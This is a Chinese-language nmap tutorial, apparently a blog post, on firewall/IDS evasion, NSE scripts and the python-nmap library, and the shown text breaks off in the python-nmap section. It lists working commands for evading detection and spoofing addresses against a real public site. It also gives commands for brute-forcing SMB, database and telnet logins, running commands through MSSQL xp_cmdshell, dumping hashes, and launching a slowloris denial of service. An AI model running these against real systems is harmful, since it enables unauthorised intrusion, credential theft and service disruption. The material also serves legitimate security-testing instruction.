目录
(1)防火墙/IDS规避:
0) 是否存在防火墙检测
1) 分片
2) IP诱骗(IP decoys)
3) IP伪装
4) 指定源端口
5) 扫描延时
6) MAC地址欺骗
7) 具体参数说明
(2)NSE脚本引擎:
NSE的扩展应用场景为以下几个方面:
NSE脚本主要分为以下几类:
如何使用举例:
实战使用实例:
(3)python-nmap库编写端口扫描器:
1、安装python-nmap模块:
2、最常用的PortScanner类,
3、PortScannerAsync类
4、实战编写:
文章传送:渗透利器--nmap超级详解一
nmap除了四项基本功能外,还提供防火墙和IDS的规避功能,以及强大的NSE(Nmap Scripting Language)脚本引擎功能,可以综合运用到四个基本功能的各个阶段进行补充和扩展。
防火墙与IDS规避用于绕开防火墙与IDS的检测与屏蔽,以便能够更加详细地发现目标主机的情况。
root@kali:~# nmap --script=firewalk --traceroute www.csdn.net
root@kali:~# nmap --traceroute --script firewalk --script-args firewalk.recv-timeout=60000,firewalk.max-active-probes=3,firewalk.max-retries=3,firewalk.probe-timeout=600 www.csdn.net
root@kali:~# nmap -p80 --script http-waf-detect www.csdn.net
root@kali:~# nmap -p80 --script http-waf-detect --script-args="http-waf-detect.detectBodyChanges" www.csdn.net
root@kali:~# nmap -f www.csdn.net
root@kali:~# nmap --mtu 8 www.csdn.net
将可疑的探测包进行分片处理(例如将TCP包拆分成多个IP包发送过去),使得IDS、包过滤器以及其他工具的检测更加困难,以此避开其检查。
使用场景举例:一些主机会禁止ICMP请求,对于这种情况就可以使用报文分段的方法来逃避目标机防火墙的规则。
注意:--mtu (使用指定的 MTU) 该选项可以自定义报文偏移的大小,使用时不需要使用 -f 选项,偏移量必须是 8 的倍数。
root@kali:~# nmap -D RND:10 www.csdn.net
root@kali:~# nmap –D decoy1,decoy2,decoy3 www.csdn.net
在进行扫描时,将真实IP地址在和其他主机的IP地址混合使用(其他主机需要在线,否则实质上就变成了DOS攻击),以此让目标主机的防火墙或IDS追踪大量的不同IP地址的数据包,降低其追查到自身的概率。但是,某些高级的IDS系统通过统计分析仍然可以追踪出扫描者真实的IP地址。
在进行版本检测或TCP连接扫描时,诱饵无效。同时注意使用过多的诱饵没有任何价值,反而导致扫描变慢并且结果不准确。
-D RND:10 诱饵选项,设定n个随机虚假的地址去扫描目标地址
-D
root@kali:~# nmap -S 192.168.1.1 www.csdn.net
IP伪装就是将自己发送的数据包中的IP地址伪装成其他主机的地址,从而目标机认为是其他主机与之通信。需要注意的是,如果希望接收到目标主机的回复包,那么伪装的IP需要位于同一局域网内。
root@kali:~# nmap --source-port 53 www.csdn.net
root@kali:~# nmap -g 53 www.csdn.net
某些目标主机只允许来自特定端口的数据包通过防火墙。例如,FTP服务器的配置为允许源端口为21号的TCP包通过防火墙与FTP服务器通信,但是源端口为其他的数据包被屏蔽。所以,在此类情况下,可以指定数据包的源端口。参数--source-port 与 -g 作用相同。
root@kali:~# nmap --ttl 128 www.csdn.net
某些防火墙针对发送过于频繁的数据包会进行严格的侦查,而且某些系统限制错误报文产生的频率。所以,我们可以降低发包的频率和发包延时以此降低目标主机的审查强度。
root@kali:~# nmap --spoof-mac 0 www.csdn.net
三个可选择的参数:
0:随机分配一个mac地址
MACAddress:手动指定一个MAC地址
Vendor Name:从指定的厂商生成一个MAC地址
1. -f; --mtu : 指定使用分片、指定数据包的 MTU. 偏移量必须是8的倍数
2. -D : 用一组 IP 地址掩盖真实地址,其中 ME 填入自己的 IP 地址。
3. -S : 伪装成其他 IP 地址
4. -e : 使用特定的网络接口
5. -g/--source-port : 使用指定源端口
6. --data-length : 填充随机数据让数据包长度达到 Num。
7. --ip-options : 使用指定的 IP 选项来发送数据包。
8. --ttl : 设置 time-to-live 时间。
9. --spoof-mac : 伪装 MAC 地址
10. --badsum: 使用错误的 checksum 来发送数据包(正常情况下,该类数据包被抛弃,如果收到回复,说明回复来自防火墙或 IDS/IPS)
NSE脚本引擎(Nmap Scripting Engine)是nmap最强大的功能之一,允许用户自己编写脚本来执行自动化的操作或者扩展nmap的功能。NSE使用Lua脚本语言,并且默认提供了丰富的脚本库,目前已经包含了14个类别的350多个脚本。
脚本库的路径:/usr/share/nmap/scripts 或 /xx/nmap/scripts/ 。
1. nmap --script-auth 192.168.1.1 #负责处理鉴权证书(绕开鉴权)的脚本,也可以作为检测部分应用弱口令
2. nmap -n -p445 --script-broadcast 192.168.1.1 # 在局域网内探查更多服务开启状况
3. nmap -script smb-vuln-ms17-010 192.168.1.1 #可以探测该主机是否存在ms17_010漏洞
4. nmap --max-parallelism 800 --script http-slowloris scanme.nmap.org #可以探测该主机是否存在http拒绝服务攻击漏洞
5. nmap -script http-iis-short-name-brute 192.168.1.1 #探测是否存在IIS短文件名漏洞
6. nmap -script mysql-empty-password 192.168.1.1 #验证mysql匿名访问
7. nmap -p 443 -script ssl-ccs-injection 192.168.1.1 #验证是否存在openssl CCS注入漏洞
8. --script=http-waf-detect #验证主机是否存在WAF
9. --script=http-waf-fingerprint #验证主机是否存在WAF
10. nmap --script-brute 192.168.1.1 #nmap可对数据库、SMB、SNMP等进行简单密码的暴力破解
11. nmap --script-vuln 192.168.1.1 #扫描是否有常见漏洞
12. --script-updatedb #更新脚本数据库
13. --script-help #输入脚本对应的使用方法
1) VNC相关:
nmap --script=realvnc-auth-bypass 192.168.1.1 # 检查vnc是否弱口令
nmap --script=vnc-auth 192.168.1.1 # 检查vnc认证方式
nmap --script=vnc-info 192.168.1.1 # 获取vnc信息
2) SMB445相关:
nmap --script=smb-brute.nse 192.168.1.1 # smb弱口令破解
nmap --script=smb-brute.nse --script-args=userdb=/var/passwd,passdb=/var/passwd 192.168.1.1 # smb字典破解
nmap --script=smb-check-vulns.nse --script-args=unsafe=1 192.168.1.1 # 扫描smb已知几个严重漏洞
nmap -p 445 --script smb-ls --script-args ‘share=e$,path=\,smbuser=test,smbpass=test’ 192.168.1.1 # 查看共享目录
nmap -n -p445 --script=smb-enum-sessions.nse --script-args=smbuser=test,smbpass=test 192.168.1.1 # 查看会话
nmap -n -p445 --script=smb-os-discovery.nse --script-args=smbuser=test,smbpass=test 192.168.1.1 # 系统信息
3) 数据库相关:
nmap -p1433 --script=ms-sql-brute --script-args=userdb=/var/passwd,passdb=/var/passwd 192.168.1.1 # 猜解mssql用户名和密码
nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="net user" 192.168.1.1 # xp_cmdshell 执行命令
nmap -p 1433 --script ms-sql-dump-hashes.nse --script-args mssql.username=sa,mssql.password=sa 192.168.1.1 # dumphash值
nmap -p3306 --script=mysql-empty-password.nse 192.168.1.1 # 扫描root空口令
nmap -p3306 --script=mysql-users.nse --script-args=mysqluser=root 192.168.1.1 # 列出所有mysql用户
nmap --script=oracle-sid-brute -p 1521-1560 192.168.1.1 # oracle sid扫描
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=ORCL,userdb=/var/passwd,passdb=/var/passwd 192.168.1.1 # oracle弱口令破解
4) 其他脚本推荐:
nmap --script=broadcast-netbios-master-browser 192.168.1.1 # 发现网关
nmap -p 873 --script rsync-brute --script-args 'rsync-brute.module=www' 192.168.1.1 # 破解rsync
nmap --script informix-brute -p 9088 192.168.1.1 # informix数据库破解
nmap -p 5432 --script pgsql-brute 192.168.1.1 # pgsql破解
nmap -sU --script snmp-brute 192.168.1.1 # snmp破解
nmap -sV --script=telnet-brute 192.168.1.1 # telnet破解
nmap --script=http-vuln-cve2010-0738 --script-args 'http-vuln-cve2010-0738.paths={/path1/,/path2/}' # jboss autopwn漏洞
nmap --script=http-methods.nse 192.168.1.1 # 检查http方法
nmap --script http-slowloris --max-parallelism 400 192.168.1.1 # dos攻击,对于处理能力较小的站点还挺好用的 'half-HTTP' connections
pip install python-nmap
这个类实现Nmap工具功能的封装,对这个类进行实例化:
import nmap
scanner = nmap.PortScanner()
scanner.scan(hosts, ports, args)
注意:如果nmap没有设置环境变量,则scanner.scan()中要添加nmap的物理地址:nmap_search_path=('nmap', r"C:/xxx")
这个类中包含了如下几个函数:
1)scan()函数:完整形式为scan(ip, ports, args)扫描,例如:scan('192.168.1.1','1-65000','-sS')。
2)all_hosts()函数: 返回一个被扫描的所有主机列表。
3)command_line()函数: 返回在当前扫描中使用的命令行。
4)csv()函数: 返回值是一个CSV格式的输出。
5)has_host(self,host)函数: 检查是否有host的扫描结果,如果有则返回True,否则返回False 。
6)scaninfo()函数:列出一个扫描信息的结构。
和PortScanner类的功能相似,但是这个类可以实现异步扫描,对这个类的实例化语句如下:
import nmap
nm=nmap.PortScannerAsync()
这个类中包含了如下几个函数:
1)still_scanning():如果扫描正在进行则返回Ture,否则返回False。
2)wait(self,timeout=None):函数表示等待时间。
3)wait(self,timeout=None):函数表示等待时间。